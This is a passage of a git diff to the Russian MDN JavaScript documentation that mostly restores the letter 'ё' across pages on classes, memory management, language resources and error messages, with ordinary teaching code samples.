определяет структуру и контент веб-страницы, а CSS задает формат и внешний вид, то JavaScript добавляет интерактивность и создает богатые веб-приложения. </p> +<p>Если HTML определяет структуру и контент веб-страницы, а CSS задаёт формат и внешний вид, то JavaScript добавляет интерактивность и создаёт богатые веб-приложения. </p> <p>Однако, под общим термином "JavaScript", в контексте веб-браузера, понимаются несколько очень разных вещей. Одна из них - это базовый язык программирования (ECMAScript), а другая - коллекция Web APIs, включая DOM (Объектно-ориентированная модель документа).</p> @@ -33,7 +33,7 @@ translation_of: Web/JavaScript/JavaScript_technologies_overview <h3 id="Браузерная_поддержка">Браузерная поддержка</h3> -<p>На октябрь 2016, текущие версии основы веб-браузеров включали <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla">ECMAScript 5.1</a> и <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_2015_support_in_Mozilla">ECMAScript 2015</a>, но более старые версии (все еще находящиеся в использовании) реализуют только ECMAScript 5.</p> +<p>На октябрь 2016, текущие версии основы веб-браузеров включали <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla">ECMAScript 5.1</a> и <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_2015_support_in_Mozilla">ECMAScript 2015</a>, но более старые версии (все ещё находящиеся в использовании) реализуют только ECMAScript 5.</p> <h3 id="Будущее">Будущее</h3> @@ -41,7 +41,7 @@ translation_of: Web/JavaScript/JavaScript_technologies_overview <h3 id="API_по_интернационализации">API по интернационализации</h3> -<p><a href="http://ecma-international.org/ecma-402/1.0/">Спецификация ECMAScript для API по интернационализации</a> - дополнение к языковой спецификации ECMAScript, также стандартизированной Ecma TC39. API по интернационализации обеспечивает сопоставление (строковое сравнение), форматирование чисел, дат и времени для приложений на JavaScript, позволяя выбирать язык и проектировать функционал в зависимости от нужд. Начальный стандарт был одобрен в декабре 2012; статус реализации в браузерах ведется в документации <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Intl"><code>Intl</code> object</a>. Спецификация по интернационализации сейчас также утверждается на ежегодной основе, и браузеры постоянно улучшают ее реализацию.</p> +<p><a href="http://ecma-international.org/ecma-402/1.0/">Спецификация ECMAScript для API по интернационализации</a> - дополнение к языковой спецификации ECMAScript, также стандартизированной Ecma TC39. API по интернационализации обеспечивает сопоставление (строковое сравнение), форматирование чисел, дат и времени для приложений на JavaScript, позволяя выбирать язык и проектировать функционал в зависимости от нужд. Начальный стандарт был одобрен в декабре 2012; статус реализации в браузерах ведётся в документации <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Intl"><code>Intl</code> object</a>. Спецификация по интернационализации сейчас также утверждается на ежегодной основе, и браузеры постоянно улучшают её реализацию.</p> <h2 id="DOM_APIs">DOM APIs</h2> @@ -55,15 +55,15 @@ translation_of: Web/JavaScript/JavaScript_technologies_overview <ul> <li>Структуру документа, древовидную модель, и архитектуру событий DOM в <a class="external" href="http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html" title="http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html">ядре DOM</a>: <code>Node</code>, <code>Element</code>, <code>DocumentFragment</code>, <code>Document</code>, <code>DOMImplementation</code>, <code>Event</code>, <code>EventTarget</code>, …</li> - <li>Менее строгое определение архитектуры событий DOM, также как и определенные <a class="external" href="http://dev.w3.org/2006/webapi/DOM-Level-3-Events/html/DOM3-Events.html" title="http://dev.w3.org/2006/webapi/DOM-Level-3-Events/html/DOM3-Events.html">события DOM</a>.</li> + <li>Менее строгое определение архитектуры событий DOM, также как и определённые <a class="external" href="http://dev.w3.org/2006/webapi/DOM-Level-3-Events/html/DOM3-Events.html" title="http://dev.w3.org/2006/webapi/DOM-Level-3-Events/html/DOM3-Events.html">события DOM</a>.</li> <li>Другие вещи, такие как <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html">DOM Traversal</a> и <a class="external" href="http://html5.org/specs/dom-range.html" title="http://html5.org/specs/dom-range.html">DOM Range</a>.</li> </ul> -<p>С точки зрения ECMAScript, объекты определенные в спецификации DOM называются объектами среды исполнения ("host objects").</p> +<p>С точки зрения ECMAScript, объекты определённые в спецификации DOM называются объектами среды исполнения ("host objects").</p> <h3 id="HTML_DOM">HTML DOM</h3> -<p><a class="external" href="http://www.whatwg.org/html" title="http://www.whatwg.org/html">HTML</a>, это язык разметки Web, который определен в терминах DOM/ is specified in terms of the DOM. Layered above the abstract concepts defined in DOM Core, HTML also defines the <em>meaning</em> of elements. The HTML DOM includes such things as the <code>className</code> property on HTML elements, or APIs such as {{ domxref("document.body") }}.</p> +<p><a class="external" href="http://www.whatwg.org/html" title="http://www.whatwg.org/html">HTML</a>, это язык разметки Web, который определён в терминах DOM/ is specified in terms of the DOM. Layered above the abstract concepts defined in DOM Core, HTML also defines the <em>meaning</em> of elements. The HTML DOM includes such things as the <code>className</code> property on HTML elements, or APIs such as {{ domxref("document.body") }}.</p> <p>The HTML specification also defines restrictions on documents; for example, it requires all children of a <code>ul</code> element, which represents an unordered list, to be <code>li</code> elements, as those represent list items. In general, it also forbids using elements and attributes that aren't defined in a standard.</p> @@ -82,4 +82,4 @@ translation_of: Web/JavaScript/JavaScript_technologies_overview <p>Каждый разработчик сталкивавшийся с DOM понимает как там все <a href="http://ejohn.org/blog/the-dom-is-a-mess/" title="http://ejohn.org/blog/the-dom-is-a-mess/">безнадёжно</a>. Реализация той иной функциональности может отличаться, а следовательно и поведение. Главной причиной этого послужило то, что само описание спецификации DOM, было недостаточно ясным и подробным для разработчиков браузеров. Кроме того разные производители браузеров добавили несовместимые функциональности в своих браузеры или функциональности перекрывающие друг друга (например модель событий в IE). В данный момент консорциум W3C и частично WHATWG пытаются описать детально поведение тех или иных функций, чтобы улучшить совместимость между браузерами. Следуя этой тенденции, можно надеяться что браузеры улучшат свои реализации основываясь на этих спецификациях.</p> -<p>Наиболее общий, но возможно не самый надежный способ улучшить кроссбраузерную совместимость это воспользоваться библиотеками JavaScript. Эти библиотеки абстрагируют вас от особенностей реализации DOM в том или ином браузере, и гарантируют, что их API работает одинаково в разных браузерах. Наиболее распространенные из них это <a class="external" href="http://jquery.com/">jQuery</a> и <a class="external" href="http://www.prototypejs.org/">prototype</a>.</p> +<p>Наиболее общий, но возможно не самый надёжный способ улучшить кроссбраузерную совместимость это воспользоваться библиотеками JavaScript. Эти библиотеки абстрагируют вас от особенностей реализации DOM в том или ином браузере, и гарантируют, что их API работает одинаково в разных браузерах. Наиболее распространённые из них это <a class="external" href="http://jquery.com/">jQuery</a> и <a class="external" href="http://www.prototypejs.org/">prototype</a>.</p> diff --git a/files/ru/web/javascript/language_resources/index.html b/files/ru/web/javascript/language_resources/index.html index e96654a789..8d223226ca 100644 --- a/files/ru/web/javascript/language_resources/index.html +++ b/files/ru/web/javascript/language_resources/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Language_Resources --- <p>{{JsSidebar}}</p> -<p><strong>ECMAScript</strong> это язык программирования лежащий в основе <a href="../../../../en/JavaScript" rel="internal">JavaScript</a>. ECMAScript стандартизирован <strong>в спецификации </strong><strong>ECMA-262, </strong>организацией по стандартам <a class="external" href="http://www.ecma-international.org/" title="http://www.ecma-international.org/">Ecma International</a> . Далее в таблице перечислены утвержденные стандарты ECMAScript:</p> +<p><strong>ECMAScript</strong> это язык программирования лежащий в основе <a href="../../../../en/JavaScript" rel="internal">JavaScript</a>. ECMAScript стандартизирован <strong>в спецификации </strong><strong>ECMA-262, </strong>организацией по стандартам <a class="external" href="http://www.ecma-international.org/" title="http://www.ecma-international.org/">Ecma International</a> . Далее в таблице перечислены утверждённые стандарты ECMAScript:</p> <table class="standard-table"> <tbody> @@ -59,7 +59,7 @@ translation_of: Web/JavaScript/Language_Resources </tbody> </table> -<p>Узнать больше о истории ECMAScript можно <a class="external" href="http://en.wikipedia.org/wiki/ECMAScript" title="http://en.wikipedia.org/wiki/ECMAScript">на странице википедии посвященной ECMAScript</a>.</p> +<p>Узнать больше о истории ECMAScript можно <a class="external" href="http://en.wikipedia.org/wiki/ECMAScript" title="http://en.wikipedia.org/wiki/ECMAScript">на странице википедии посвящённой ECMAScript</a>.</p> <p>Вы можете принять участие или просто отслеживать работу над следующей версией стандарта, которая разрабатывается под кодовым названием"Harmony", с помощью публично-доступного вики и <a class="link-https" href="https://mail.mozilla.org/listinfo/es-discuss" title="https://mail.mozilla.org/listinfo/es-discuss">es-discuss список рассылки</a> привязанного к <a class="external" href="http://www.ecmascript.org/community.php" title="http://www.ecmascript.org/community.php">ecmascript.org</a>.</p> @@ -75,7 +75,7 @@ translation_of: Web/JavaScript/Language_Resources <h3 id="Смотри_также">Смотри также</h3> <ul> - <li><a class="external" href="http://brendaneich.com/" title="http://brendaneich.com/">Блог Брендана Эйка</a>. Брендан создатель JavaScript и движка SpiderMonkey. Он все еще работает с рабочей группой ECMA чтобы развивать язык.</li> + <li><a class="external" href="http://brendaneich.com/" title="http://brendaneich.com/">Блог Брендана Эйка</a>. Брендан создатель JavaScript и движка SpiderMonkey. Он все ещё работает с рабочей группой ECMA чтобы развивать язык.</li> <li><a class="external" href="http://dmitrysoshnikov.com/" title="http://dmitrysoshnikov.com/">Дмитрий Сошников анализ ECMA-262 Edition 3 и 5</a></li> </ul> diff --git a/files/ru/web/javascript/memory_management/index.html b/files/ru/web/javascript/memory_management/index.html index bcdf39cd3d..79aafad29e 100644 --- a/files/ru/web/javascript/memory_management/index.html +++ b/files/ru/web/javascript/memory_management/index.html @@ -7,7 +7,7 @@ translation_of: Web/JavaScript/Memory_Management <h2 id="Введение">Введение</h2> -<p>Низкоуровневые языки программирования (например, C) имеют низкоуровневые примитивы для управления памятью, такие как <code>malloc()</code> и <code>free()</code>. В JavaScript же память выделяется динамически при создании сущностей (т.е., объектов, строк и т.п.) и "автоматически" освобождается, когда они больше не используются. Последний процесс называется <em>сборкой мусора</em> . Слово "автоматически" является источником путаницы и зачастую создает у программистов на JavaScript (и других высокоуровневых языках) ложное ощущение, что они могут не заботиться об управлении памятью.</p> +<p>Низкоуровневые языки программирования (например, C) имеют низкоуровневые примитивы для управления памятью, такие как <code>malloc()</code> и <code>free()</code>. В JavaScript же память выделяется динамически при создании сущностей (т.е., объектов, строк и т.п.) и "автоматически" освобождается, когда они больше не используются. Последний процесс называется <em>сборкой мусора</em> . Слово "автоматически" является источником путаницы и зачастую создаёт у программистов на JavaScript (и других высокоуровневых языках) ложное ощущение, что они могут не заботиться об управлении памятью.</p> <h2 id="Жизненный_цикл_памяти">Жизненный цикл памяти</h2> diff --git a/files/ru/web/javascript/reference/classes/constructor/index.html b/files/ru/web/javascript/reference/classes/constructor/index.html index 7d7fe14e82..ea52fc5371 100644 --- a/files/ru/web/javascript/reference/classes/constructor/index.html +++ b/files/ru/web/javascript/reference/classes/constructor/index.html @@ -70,7 +70,7 @@ try { <p><code>ValidationError</code> классу не нужен явный (explicit) конструктор, потому что не требуется инициализация. Затем конструктор по умолчанию позаботится о инициализации родительского класса <code>Error</code> переданным ему аргументом.</p> -<p>Однако, если определен ваш собственный конструктор и ваш класс является производным от какого-либо родительского класса, то вы должны явно объявить конструктор родительского класса, используя <code>super</code>. К примеру:</p> +<p>Однако, если определён ваш собственный конструктор и ваш класс является производным от какого-либо родительского класса, то вы должны явно объявить конструктор родительского класса, используя <code>super</code>. К примеру:</p> <pre class="notranslate">class ValidationError extends Error { @@ -109,7 +109,7 @@ try { <pre class="brush: js notranslate">class Square extends Polygon { constructor(length) { // Здесь вызывается конструктор родительского класса, - // в который передается length в качестве аргументов, + // в который передаётся length в качестве аргументов, // соответствующим полям width и height класса Polygon super(length, length); // Заметка: В производном классе, super() должен вызываться перед тем как @@ -152,7 +152,7 @@ console.log(Object.getPrototypeOf(Square.prototype) === Rectangle.prototype); // let newInstance = new Square(); console.log(newInstance.name); //Polygon</pre> -<p>Здесь прототип <strong>Square</strong> класса изменен, но в то же время constructor предыдущего базового класса <strong>Polygon</strong> вызывается при создании нового экземпляра <strong>Square</strong>.</p> +<p>Здесь прототип <strong>Square</strong> класса изменён, но в то же время constructor предыдущего базового класса <strong>Polygon</strong> вызывается при создании нового экземпляра <strong>Square</strong>.</p> <h3 id="Constructors_по_умолчанию.">Constructors по умолчанию.</h3> @@ -190,7 +190,7 @@ console.log(newInstance.name); //Polygon</pre> <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам запрос на слияние.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам запрос на слияние.</div> <p>{{Compat("javascript.classes.constructor")}}</p> diff --git a/files/ru/web/javascript/reference/classes/extends/index.html b/files/ru/web/javascript/reference/classes/extends/index.html index df642e9e23..d774cc72b0 100644 --- a/files/ru/web/javascript/reference/classes/extends/index.html +++ b/files/ru/web/javascript/reference/classes/extends/index.html @@ -30,7 +30,7 @@ translation_of: Web/JavaScript/Reference/Classes/extends <pre class="brush: js">class Square extends Polygon { constructor(length) { // Здесь вызывается конструктор родительского класса, - // в который передается свойство length в качестве + // в который передаётся свойство length в качестве // аргументов, соответствующих полям width и height, // класса Polygon super(length, length); diff --git a/files/ru/web/javascript/reference/classes/index.html b/files/ru/web/javascript/reference/classes/index.html index 8711331ffc..8b64f585f0 100644 --- a/files/ru/web/javascript/reference/classes/index.html +++ b/files/ru/web/javascript/reference/classes/index.html @@ -68,7 +68,7 @@ console.log(Rectangle.name); <h2 id="Тело_класса_и_задание_методов">Тело класса и задание методов</h2> -<p>Тело класса — это часть кода, заключенная в фигурные скобки <code>{}</code>. Здесь вы можете объявлять члены класса, такие как методы и конструктор.</p> +<p>Тело класса — это часть кода, заключённая в фигурные скобки <code>{}</code>. Здесь вы можете объявлять члены класса, такие как методы и конструктор.</p> <h3 id="Строгий_режим">Строгий режим</h3> @@ -154,7 +154,7 @@ Animal.eat() // класс Animal let eat = Animal.eat; eat(); // undefined</code></pre> -<p>Если мы напишем этот же код используя классы основанные на функциях, тогда произойдет автоупаковка основанная на значении <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font>, в течение которого функция была вызвана. В строгом режиме автоупаковка не произойдет - значение <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font> останется прежним.</p> +<p>Если мы напишем этот же код используя классы основанные на функциях, тогда произойдёт автоупаковка основанная на значении <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font>, в течение которого функция была вызвана. В строгом режиме автоупаковка не произойдёт - значение <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font> останется прежним.</p> <pre class="brush: js notranslate"><code>function Animal() { } @@ -199,7 +199,7 @@ Rectangle.prototype.prototypeWidth = 25; <h4 id="Публичные_поля">Публичные поля</h4> -<p>Используя Javascript синтаксис определения полей, приведенный выше пример может быть изменен следующим образом:</p> +<p>Используя Javascript синтаксис определения полей, приведённый выше пример может быть изменён следующим образом:</p> <pre class="notranslate">class Rectangle { height = 0; @@ -216,7 +216,7 @@ Rectangle.prototype.prototypeWidth = 25; <h4 id="Приватные_поля">Приватные поля</h4> -<p>Предыдущий пример может быть изменен следующим образом, используя приватные поля:</p> +<p>Предыдущий пример может быть изменён следующим образом, используя приватные поля:</p> <pre class="notranslate">class Rectangle { #height = 0; @@ -233,7 +233,7 @@ Rectangle.prototype.prototypeWidth = 25; <p>Приватные поля могут быть объявлены только заранее в объявлении поля.</p> </div> -<p>Приватные поля не могут быть созданы позже путем присваивания им значения, в отличии от обычных свойств.</p> +<p>Приватные поля не могут быть созданы позже путём присваивания им значения, в отличии от обычных свойств.</p> <p>Более подробно об этом написано в <a href="/ru/docs/Web/JavaScript/Reference/Classes/%D0%9F%D1%80%D0%B8%D0%B2%D0%B0%D1%82%D0%BD%D1%8B%D0%B5_%D0%BF%D0%BE%D0%BB%D1%8F_%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D0%B0">Приватные поля класса</a>.</p> @@ -247,13 +247,13 @@ Rectangle.prototype.prototypeWidth = 25; }</code> speak() { - console.log(`${this.name} издает звук.`); + console.log(`${this.name} издаёт звук.`); } } class Dog extends Animal { constructor(name) { - super(name); // вызывает конструктор super класса и передает параметр name + super(name); // вызывает конструктор super класса и передаёт параметр name } speak() { @@ -272,7 +272,7 @@ d.speak(); // Митци лает</code></pre> this.name = name; } Animal.prototype.speak = function () { - console.log(</code>`${this.name} издает звук.`<code class="language-js">); + console.log(</code>`${this.name} издаёт звук.`<code class="language-js">); } class Dog extends Animal { @@ -290,7 +290,7 @@ d.speak(); // Митци лает <pre class="brush: js line-numbers language-js notranslate"><code class="language-js">var Animal = { speak() { - console.log(</code>`${this.name} издает звук.`<code class="language-js">); + console.log(</code>`${this.name} издаёт звук.`<code class="language-js">); } }; @@ -304,7 +304,7 @@ class Dog { Object.setPrototypeOf(Dog.prototype, Animal); let d = new Dog('Митци'); -d.speak(); // Митци издает звук.</code></pre> +d.speak(); // Митци издаёт звук.</code></pre> <h2 id="Species">Species</h2> @@ -332,7 +332,7 @@ console.log(mapped instanceof Array); // true</code></pre> } speak() { - console.log(</code>`${this.name} издает звук.`<code class="language-js">); + console.log(</code>`${this.name} издаёт звук.`<code class="language-js">); } } @@ -345,7 +345,7 @@ class Lion extends Cat { let l = new Lion('Фаззи'); l.speak(); -// Фаззи издает звук. +// Фаззи издаёт звук. // Фаззи рычит.</code> </pre> @@ -396,7 +396,7 @@ class Bar extends calculatorMixin(randomizerMixin(Foo)) { }</code></pre> <h2 id="Повторное_определение_класа">Повторное определение класа</h2> -<p>Класс не может быть переопределен. Попытка этого приведет к <code>SyntaxError</code> .</p> +<p>Класс не может быть переопределён. Попытка этого приведёт к <code>SyntaxError</code> .</p> <p>Если мы запускаете код в веб браузере, к примеру в Firefox Web Console (<strong>Tools </strong>><strong> Web Developer </strong>><strong> Web Console</strong>) и вы используете ('Run') определение класса с одним и тем же именем дважды, вы получите <code>SyntaxError: redeclaration of let <em>ClassName</em>;</code>. (Обсуждение по ошибке можно посмотреть в {{Bug(1428672)}}.) Chrome Developer Tools возвращает сообщение типа <code>Uncaught SyntaxError: Identifier '<em>ClassName</em>' has already been declared at <anonymous>:1:1</code>.</p> diff --git a/files/ru/web/javascript/reference/classes/private_class_fields/index.html b/files/ru/web/javascript/reference/classes/private_class_fields/index.html index 78a5d91787..e81a71e738 100644 --- a/files/ru/web/javascript/reference/classes/private_class_fields/index.html +++ b/files/ru/web/javascript/reference/classes/private_class_fields/index.html @@ -31,7 +31,7 @@ class ClassWithPrivateStaticField { <p>Приватные поля доступны в конструкторе класса изнутри самой декларации класса.</p> -<p>Ограничение статических переменных, вызываемых только статическими методами, все еще сохраняется.</p> +<p>Ограничение статических переменных, вызываемых только статическими методами, все ещё сохраняется.</p> <pre class="brush: js notranslate">class ClassWithPrivateStaticField { static #PRIVATE_STATIC_FIELD @@ -139,7 +139,7 @@ console.log(Derived.publicStaticMethod2()); // TypeError <h4 id="Приватные_методы_экземпляровinstance">Приватные методы экземпляров(instance)</h4> -<p>Приватные методы экземпляров это методы, доступные у экземпляров класса, доступ к которым запрещен также, как у приватных полей класса.</p> +<p>Приватные методы экземпляров это методы, доступные у экземпляров класса, доступ к которым запрещён также, как у приватных полей класса.</p> <pre class="brush: js notranslate">class ClassWithPrivateMethod { #privateMethod() { diff --git a/files/ru/web/javascript/reference/classes/public_class_fields/index.html b/files/ru/web/javascript/reference/classes/public_class_fields/index.html index ea67222e50..b32dc3d2fc 100644 --- a/files/ru/web/javascript/reference/classes/public_class_fields/index.html +++ b/files/ru/web/javascript/reference/classes/public_class_fields/index.html @@ -172,7 +172,7 @@ console.log(instance.publicMethod()); }</pre> <p>Внутри методов экземпляра, <code>this</code> ссылается на сам экземпляр.<br> - В классах наследниках, <code>super</code> дает доступ к прототипу базового класса, позволяя вызывать его методы.</p> + В классах наследниках, <code>super</code> даёт доступ к прототипу базового класса, позволяя вызывать его методы.</p> <pre class="brush: js notranslate">class BaseClass { msg = 'hello world'; diff --git a/files/ru/web/javascript/reference/classes/static/index.html b/files/ru/web/javascript/reference/classes/static/index.html index 58ea5996c1..f97c9db2f3 100644 --- a/files/ru/web/javascript/reference/classes/static/index.html +++ b/files/ru/web/javascript/reference/classes/static/index.html @@ -116,7 +116,7 @@ console.log(tp.triple()); <h2 id="Поддержка_в_браузерах">Поддержка в браузерах</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам запрос на слияние.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам запрос на слияние.</div> <p>{{Compat("javascript.classes.static")}}</p> diff --git a/files/ru/web/javascript/reference/errors/already_has_pragma/index.html b/files/ru/web/javascript/reference/errors/already_has_pragma/index.html index 5de1095a97..e976c9a07d 100644 --- a/files/ru/web/javascript/reference/errors/already_has_pragma/index.html +++ b/files/ru/web/javascript/reference/errors/already_has_pragma/index.html @@ -22,7 +22,7 @@ translation_of: Web/JavaScript/Reference/Errors/Already_has_pragma <p>Для данного источника JavaScript исходная карта была указана несколько раз.</p> -<p>Источники JavaScript часто объединяются и минимизируются, чтобы сделать их доставку с сервера более эффективной. С помощью сопоставлений исходного кода отладчик может сопоставить выполняемый код с исходными файлами. Существует два способа назначения исходной карты: с помощью комментария или путем установки заголовка для файла JavaScript.</p> +<p>Источники JavaScript часто объединяются и минимизируются, чтобы сделать их доставку с сервера более эффективной. С помощью сопоставлений исходного кода отладчик может сопоставить выполняемый код с исходными файлами. Существует два способа назначения исходной карты: с помощью комментария или путём установки заголовка для файла JavaScript.</p> <p> </p> diff --git a/files/ru/web/javascript/reference/errors/bad_radix/index.html b/files/ru/web/javascript/reference/errors/bad_radix/index.html index b3e84de1e7..c4cc82a20b 100644 --- a/files/ru/web/javascript/reference/errors/bad_radix/index.html +++ b/files/ru/web/javascript/reference/errors/bad_radix/index.html @@ -25,7 +25,7 @@ RangeError: toString() radix argument must be between 2 and 36 (Chrome) <p><span class="notranslate">Почему значение этого параметра не может быть больше, чем 36? Для оснований</span><span class="notranslate">, превышающих 10, в качестве цифр используются алфавитные символы;</span> <span class="notranslate"> следовательно, основание не может быть больше 36, поскольку в латинском алфавите (используемом английским и многими другими языками) только 26 символов.</span></p> -<p><span class="notranslate">Наиболее распространенные основания систем счисления:</span></p> +<p><span class="notranslate">Наиболее распространённые основания систем счисления:</span></p> <ul> <li>2 для <a href="https://ru.wikipedia.org/wiki/Двоичная_система_счисления">двоичных чисел</a>,</li> diff --git a/files/ru/web/javascript/reference/errors/bad_regexp_flag/index.html b/files/ru/web/javascript/reference/errors/bad_regexp_flag/index.html index 549b5ae654..c5c63a7200 100644 --- a/files/ru/web/javascript/reference/errors/bad_regexp_flag/index.html +++ b/files/ru/web/javascript/reference/errors/bad_regexp_flag/index.html @@ -17,7 +17,7 @@ SyntaxError: Invalid regular expression flags (Chrome) <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p>В коде есть недопустимые флаги регулярных выражений. Литерал в регулярном выражении, который содержит шаблон заключенный между двумя слешами, флаги определяются после второго флага. Они также могут быть объявлены в конструкторе функции {{jsxref("RegExp")}} object (второй параметр). Флаги регулярного выражения могут быть использованы отдельно или вместе в любой очередности, но в ECMAScript их только пять.</p> +<p>В коде есть недопустимые флаги регулярных выражений. Литерал в регулярном выражении, который содержит шаблон заключённый между двумя слешами, флаги определяются после второго флага. Они также могут быть объявлены в конструкторе функции {{jsxref("RegExp")}} object (второй параметр). Флаги регулярного выражения могут быть использованы отдельно или вместе в любой очерёдности, но в ECMAScript их только пять.</p> <p>Чтоб включить флаг в регулярное выражение, используйте синтаксис:</p> diff --git a/files/ru/web/javascript/reference/errors/bad_return_or_yield/index.html b/files/ru/web/javascript/reference/errors/bad_return_or_yield/index.html index dd69cb3167..17a6e16436 100644 --- a/files/ru/web/javascript/reference/errors/bad_return_or_yield/index.html +++ b/files/ru/web/javascript/reference/errors/bad_return_or_yield/index.html @@ -22,7 +22,7 @@ SyntaxError: yield not in function (Firefox) <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p>Вызов оператора <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/return">return</a></code> или <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/yield">yield</a></code> был осуществлен вне <a href="/ru/docs/Web/JavaScript/Guide/Functions">функции</a>. Может, где-то пропущена фигурная скобка? Операторы <code>return</code> и <code>yield</code> не могут существовать вне функции, поскольку они завершают (или останавливают и возобновляют) её исполнение и указывают значение, возвращаемое в место, откуда она была вызвана.</p> +<p>Вызов оператора <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/return">return</a></code> или <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/yield">yield</a></code> был осуществлён вне <a href="/ru/docs/Web/JavaScript/Guide/Functions">функции</a>. Может, где-то пропущена фигурная скобка? Операторы <code>return</code> и <code>yield</code> не могут существовать вне функции, поскольку они завершают (или останавливают и возобновляют) её исполнение и указывают значение, возвращаемое в место, откуда она была вызвана.</p> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/javascript/reference/errors/called_on_incompatible_type/index.html b/files/ru/web/javascript/reference/errors/called_on_incompatible_type/index.html index 0d309530e6..9c1182eb7c 100644 --- a/files/ru/web/javascript/reference/errors/called_on_incompatible_type/index.html +++ b/files/ru/web/javascript/reference/errors/called_on_incompatible_type/index.html @@ -12,7 +12,7 @@ translation_of: Web/JavaScript/Reference/Errors/Called_on_incompatible_type <pre class="syntaxbox">TypeError: 'this' не является Set объектом (EdgE) TypeError: Function.prototype.toString вызывается несовместимый объект (Firefox) TypeError: Function.prototype.bind вызывается несовместимая цель (Firefox) -TypeError: Метод Set.prototype.add called вызывается несовместимый приемник undefined (Chrome) +TypeError: Метод Set.prototype.add called вызывается несовместимый приёмник undefined (Chrome) TypeError: Bind должен вызываться для функции(Chrome) </pre> diff --git a/files/ru/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html b/files/ru/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html index e5c0553e8a..294f115dac 100644 --- a/files/ru/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html +++ b/files/ru/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html @@ -21,7 +21,7 @@ ReferenceError: 'x' is not defined (Chrome) <h2 id="Что_случилось">Что случилось?</h2> -<p>Попытка доступа к лексической переменной до ее инициализации. Это может произойти в любом блоке, если попытаться обратиться к переменной, объявленной с помощью ключевых слов <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code> или <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code> до того, как им было присвоено значение.</p> +<p>Попытка доступа к лексической переменной до её инициализации. Это может произойти в любом блоке, если попытаться обратиться к переменной, объявленной с помощью ключевых слов <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code> или <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code> до того, как им было присвоено значение.</p> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/javascript/reference/errors/cant_access_property/index.html b/files/ru/web/javascript/reference/errors/cant_access_property/index.html index df4ab49b2a..01d353480c 100644 --- a/files/ru/web/javascript/reference/errors/cant_access_property/index.html +++ b/files/ru/web/javascript/reference/errors/cant_access_property/index.html @@ -1,6 +1,6 @@ --- title: >- - TypeError: can't access property "x" of "y"(Тип ошибки: не удается получить + TypeError: can't access property "x" of "y"(Тип ошибки: не удаётся получить доступ к свойству "x" из "y") slug: Web/JavaScript/Reference/Errors/Cant_access_property translation_of: Web/JavaScript/Reference/Errors/Cant_access_property @@ -9,16 +9,16 @@ translation_of: Web/JavaScript/Reference/Errors/Cant_access_property <h2 id="Message">Message</h2> -<pre class="syntaxbox">TypeError: не удается получить свойство {x} неопределенной или нулевой ссылки (Edge) -TypeError: не удается получить доступ к свойству {x} of {y} (Firefox) -TypeError: {y} не определен, не может получить доступ к свойству {x} (Firefox) +<pre class="syntaxbox">TypeError: не удаётся получить свойство {x} неопределённой или нулевой ссылки (Edge) +TypeError: не удаётся получить доступ к свойству {x} of {y} (Firefox) +TypeError: {y} не определён, не может получить доступ к свойству {x} (Firefox) TypeError: {y} имеет значение null, не может получить доступ к свойству {x} (Firefox) Образцы: -TypeError: x не определен, не может получить доступ к свойству "prop" +TypeError: x не определён, не может получить доступ к свойству "prop" TypeError: x имеет значение null, не может получить доступ к свойству "prop" -TypeError: не удается получить доступ к свойству "prop" неопределенного -TypeError: не удается получить доступ к свойству "prop" значения null +TypeError: не удаётся получить доступ к свойству "prop" неопределённого +TypeError: не удаётся получить доступ к свойству "prop" значения null </pre> @@ -36,7 +36,7 @@ TypeError: не удается получить доступ к свойству <pre class="brush: js example-bad">// undefined and null cases on which the substring method won't work var foo = undefined; -foo.substring(1); // TypeError: x не определен, не может 